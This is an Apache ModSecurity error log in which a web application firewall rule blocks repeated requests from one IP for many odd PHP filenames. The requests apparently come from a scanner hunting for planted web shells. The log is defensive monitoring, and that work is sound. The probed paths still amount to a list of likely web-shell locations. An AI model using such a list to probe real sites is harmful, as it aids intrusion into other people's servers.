[Sat Dec 13 00:06:21.688469 2025] [:error] [pid 26521:tid 26599] [client 4.193.186.94:21544] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/55.php"] [unique_id "aTw9fZdhcAPU617AKTDFKAAAAJQ"]
[Sat Dec 13 00:06:22.050195 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:21494] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cfile.php"] [unique_id "aTw9flObDQlftFDyGaxHDQAAAZU"]
[Sat Dec 13 00:06:22.321038 2025] [:error] [pid 26519:tid 26543] [client 4.193.186.94:21554] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cfile.php"] [unique_id "aTw9fs8TRgSGOeWqEhcV8wAAABQ"]
[Sat Dec 13 00:06:22.520760 2025] [:error] [pid 27950:tid 27974] [client 4.193.186.94:21518] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cfile.php"] [unique_id "aTw9foVLRvkrdsSc1F3N0wAAAVY"]
[Sat Dec 13 00:06:22.768372 2025] [:error] [pid 26521:tid 26587] [client 4.193.186.94:35256] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cfile.php"] [unique_id "aTw9fpdhcAPU617AKTDFKgAAAIg"]
[Sat Dec 13 00:06:23.050622 2025] [:error] [pid 26521:tid 26595] [client 4.193.186.94:20882] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Tgb5C9.php"] [unique_id "aTw9f5dhcAPU617AKTDFKwAAAJA"]
[Sat Dec 13 00:06:23.279459 2025] [:error] [pid 60649:tid 60655] [client 4.193.186.94:21562] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Tgb5C9.php"] [unique_id "aTw9f1OcUGKU3sgfHP8i5AAAAQM"]
[Sat Dec 13 00:06:23.527891 2025] [:error] [pid 26521:tid 26586] [client 4.193.186.94:20795] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Tgb5C9.php"] [unique_id "aTw9f5dhcAPU617AKTDFMAAAAIc"]
[Sat Dec 13 00:06:23.872431 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:35246] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Tgb5C9.php"] [unique_id "aTw9f5dhcAPU617AKTDFMwAAAJI"]
[Sat Dec 13 00:06:24.199696 2025] [:error] [pid 26519:tid 26541] [client 4.193.186.94:21561] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aTw9gM8TRgSGOeWqEhcV9wAAABI"]
[Sat Dec 13 00:06:24.495224 2025] [:error] [pid 60649:tid 60665] [client 4.193.186.94:20846] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aTw9gFOcUGKU3sgfHP8i5QAAAQ0"]
[Sat Dec 13 00:06:24.817470 2025] [:error] [pid 55760:tid 55767] [client 4.193.186.94:20855] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aTw9gFObDQlftFDyGaxHEAAAAYU"]
[Sat Dec 13 00:06:25.119428 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:21379] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aTw9gYVLRvkrdsSc1F3N1gAAAUw"]
[Sat Dec 13 00:06:25.345220 2025] [:error] [pid 60649:tid 60675] [client 4.193.186.94:21546] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cccc.php"] [unique_id "aTw9gVOcUGKU3sgfHP8i5gAAARc"]
[Sat Dec 13 00:06:25.619845 2025] [:error] [pid 27950:tid 27976] [client 4.193.186.94:21525] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cccc.php"] [unique_id "aTw9gYVLRvkrdsSc1F3N2QAAAVg"]
[Sat Dec 13 00:06:25.821650 2025] [:error] [pid 26520:tid 26561] [client 4.193.186.94:35217] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cccc.php"] [unique_id "aTw9gUG_frlY5vNXu_AgzQAAAEk"]
[Sat Dec 13 00:06:26.080940 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:35260] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cccc.php"] [unique_id "aTw9glObDQlftFDyGaxHEwAAAYY"]
[Sat Dec 13 00:06:26.385732 2025] [:error] [pid 26519:tid 26545] [client 4.193.186.94:21312] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aTw9gs8TRgSGOeWqEhcV-gAAABY"]
[Sat Dec 13 00:06:26.606850 2025] [:error] [pid 55760:tid 55781] [client 4.193.186.94:20797] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aTw9glObDQlftFDyGaxHFQAAAZM"]
[Sat Dec 13 00:06:26.964987 2025] [:error] [pid 26519:tid 26546] [client 4.193.186.94:35207] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aTw9gs8TRgSGOeWqEhcV_gAAABc"]
[Sat Dec 13 00:06:27.312842 2025] [:error] [pid 60649:tid 60661] [client 4.193.186.94:20863] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/10.php"] [unique_id "aTw9g1OcUGKU3sgfHP8i6gAAAQk"]
[Sat Dec 13 00:06:27.682526 2025] [:error] [pid 60649:tid 60676] [client 4.193.186.94:21553] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kal.php"] [unique_id "aTw9g1OcUGKU3sgfHP8i6wAAARg"]
[Sat Dec 13 00:06:27.944634 2025] [:error] [pid 60649:tid 60660] [client 4.193.186.94:21441] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kal.php"] [unique_id "aTw9g1OcUGKU3sgfHP8i7AAAAQg"]
[Sat Dec 13 00:06:28.275772 2025] [:error] [pid 26607:tid 26618] [client 4.193.186.94:35205] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kal.php"] [unique_id "aTw9hMb_b0tOEWTL2KnGWwAAAMk"]
[Sat Dec 13 00:06:28.518534 2025] [:error] [pid 26607:tid 26614] [client 4.193.186.94:21555] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kal.php"] [unique_id "aTw9hMb_b0tOEWTL2KnGXAAAAMU"]
[Sat Dec 13 00:06:28.815608 2025] [:error] [pid 26519:tid 26529] [client 4.193.186.94:35229] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dfre.php"] [unique_id "aTw9hM8TRgSGOeWqEhcWAQAAAAY"]
[Sat Dec 13 00:06:29.088239 2025] [:error] [pid 26607:tid 26621] [client 4.193.186.94:35251] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dfre.php"] [unique_id "aTw9hcb_b0tOEWTL2KnGXgAAAMw"]
[Sat Dec 13 00:06:29.366058 2025] [:error] [pid 26607:tid 26610] [client 4.193.186.94:20905] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dfre.php"] [unique_id "aTw9hcb_b0tOEWTL2KnGXwAAAME"]
[Sat Dec 13 00:06:29.576747 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:35243] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dfre.php"] [unique_id "aTw9hUG_frlY5vNXu_Ag0gAAAEs"]
[Sat Dec 13 00:06:30.024491 2025] [:error] [pid 26607:tid 26624] [client 4.193.186.94:21507] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tua.php"] [unique_id "aTw9hsb_b0tOEWTL2KnGYgAAAM8"]
[Sat Dec 13 00:06:30.507731 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:21556] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tua.php"] [unique_id "aTw9hlObDQlftFDyGaxHGQAAAZE"]
[Sat Dec 13 00:06:30.924365 2025] [:error] [pid 55760:tid 55777] [client 4.193.186.94:21517] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tua.php"] [unique_id "aTw9hlObDQlftFDyGaxHGgAAAY8"]
[Sat Dec 13 00:06:31.180310 2025] [:error] [pid 26607:tid 26620] [client 4.193.186.94:21468] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tua.php"] [unique_id "aTw9h8b_b0tOEWTL2KnGYwAAAMs"]
[Sat Dec 13 00:06:31.436080 2025] [:error] [pid 55760:tid 55786] [client 4.193.186.94:21405] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admir.php"] [unique_id "aTw9h1ObDQlftFDyGaxHHAAAAZg"]
[Sat Dec 13 00:06:31.721583 2025] [:error] [pid 26607:tid 26622] [client 4.193.186.94:21445] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admir.php"] [unique_id "aTw9h8b_b0tOEWTL2KnGZAAAAM0"]
[Sat Dec 13 00:06:32.078523 2025] [:error] [pid 55760:tid 55768] [client 4.193.186.94:20788] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admir.php"] [unique_id "aTw9iFObDQlftFDyGaxHIAAAAYY"]
[Sat Dec 13 00:06:32.444512 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:35241] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admir.php"] [unique_id "aTw9iJdhcAPU617AKTDFOgAAAJI"]
[Sat Dec 13 00:06:32.673203 2025] [:error] [pid 55760:tid 55774] [client 4.193.186.94:21450] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsr2.php"] [unique_id "aTw9iFObDQlftFDyGaxHIgAAAYw"]
[Sat Dec 13 00:06:33.059941 2025] [:error] [pid 26607:tid 26617] [client 4.193.186.94:35200] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsr2.php"] [unique_id "aTw9icb_b0tOEWTL2KnGZwAAAMg"]
[Sat Dec 13 00:06:33.305665 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:21566] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsr2.php"] [unique_id "aTw9iVObDQlftFDyGaxHJAAAAYc"]
[Sat Dec 13 00:06:33.722565 2025] [:error] [pid 26607:tid 26611] [client 4.193.186.94:21504] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wsr2.php"] [unique_id "aTw9icb_b0tOEWTL2KnGaQAAAMI"]
[Sat Dec 13 00:06:33.949662 2025] [:error] [pid 60649:tid 60652] [client 4.193.186.94:21511] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aTw9iVOcUGKU3sgfHP8i9AAAAQA"]
[Sat Dec 13 00:06:34.197539 2025] [:error] [pid 26519:tid 26523] [client 4.193.186.94:20829] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aTw9is8TRgSGOeWqEhcWBAAAAAA"]
[Sat Dec 13 00:06:34.518525 2025] [:error] [pid 26607:tid 26614] [client 4.193.186.94:35234] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aTw9isb_b0tOEWTL2KnGbAAAAMU"]
[Sat Dec 13 00:06:34.934514 2025] [:error] [pid 26520:tid 26558] [client 4.193.186.94:21545] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aTw9ikG_frlY5vNXu_Ag1AAAAEY"]
[Sat Dec 13 00:06:35.235473 2025] [:error] [pid 26520:tid 26553] [client 4.193.186.94:35239] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wto.php"] [unique_id "aTw9i0G_frlY5vNXu_Ag1gAAAEE"]
[Sat Dec 13 00:06:35.460870 2025] [:error] [pid 55760:tid 55777] [client 4.193.186.94:21461] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wto.php"] [unique_id "aTw9i1ObDQlftFDyGaxHJwAAAY8"]
[Sat Dec 13 00:06:35.764218 2025] [:error] [pid 60649:tid 60675] [client 4.193.186.94:35222] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wto.php"] [unique_id "aTw9i1OcUGKU3sgfHP8i9QAAARc"]
[Sat Dec 13 00:06:36.072435 2025] [:error] [pid 55760:tid 55783] [client 4.193.186.94:21452] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wto.php"] [unique_id "aTw9jFObDQlftFDyGaxHKAAAAZU"]
[Sat Dec 13 00:06:36.385732 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:21524] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ink.php"] [unique_id "aTw9jFObDQlftFDyGaxHKQAAAZI"]
[Sat Dec 13 00:06:36.692503 2025] [:error] [pid 60649:tid 60673] [client 4.193.186.94:35258] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ink.php"] [unique_id "aTw9jFOcUGKU3sgfHP8i9gAAARU"]
[Sat Dec 13 00:06:37.139490 2025] [:error] [pid 60649:tid 60670] [client 4.193.186.94:35203] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ink.php"] [unique_id "aTw9jVOcUGKU3sgfHP8i9wAAARI"]
[Sat Dec 13 00:06:37.544495 2025] [:error] [pid 26520:tid 26552] [client 4.193.186.94:21510] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ink.php"] [unique_id "aTw9jUG_frlY5vNXu_Ag1wAAAEA"]
[Sat Dec 13 00:06:37.753358 2025] [:error] [pid 26521:tid 26601] [client 4.193.186.94:21497] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7f8c8.php"] [unique_id "aTw9jZdhcAPU617AKTDFPAAAAJY"]
[Sat Dec 13 00:06:38.011781 2025] [:error] [pid 26521:tid 26588] [client 4.193.186.94:35247] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7f8c8.php"] [unique_id "aTw9jpdhcAPU617AKTDFPQAAAIk"]
[Sat Dec 13 00:06:38.231579 2025] [:error] [pid 26520:tid 26576] [client 4.193.186.94:21456] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7f8c8.php"] [unique_id "aTw9jkG_frlY5vNXu_Ag2AAAAFg"]
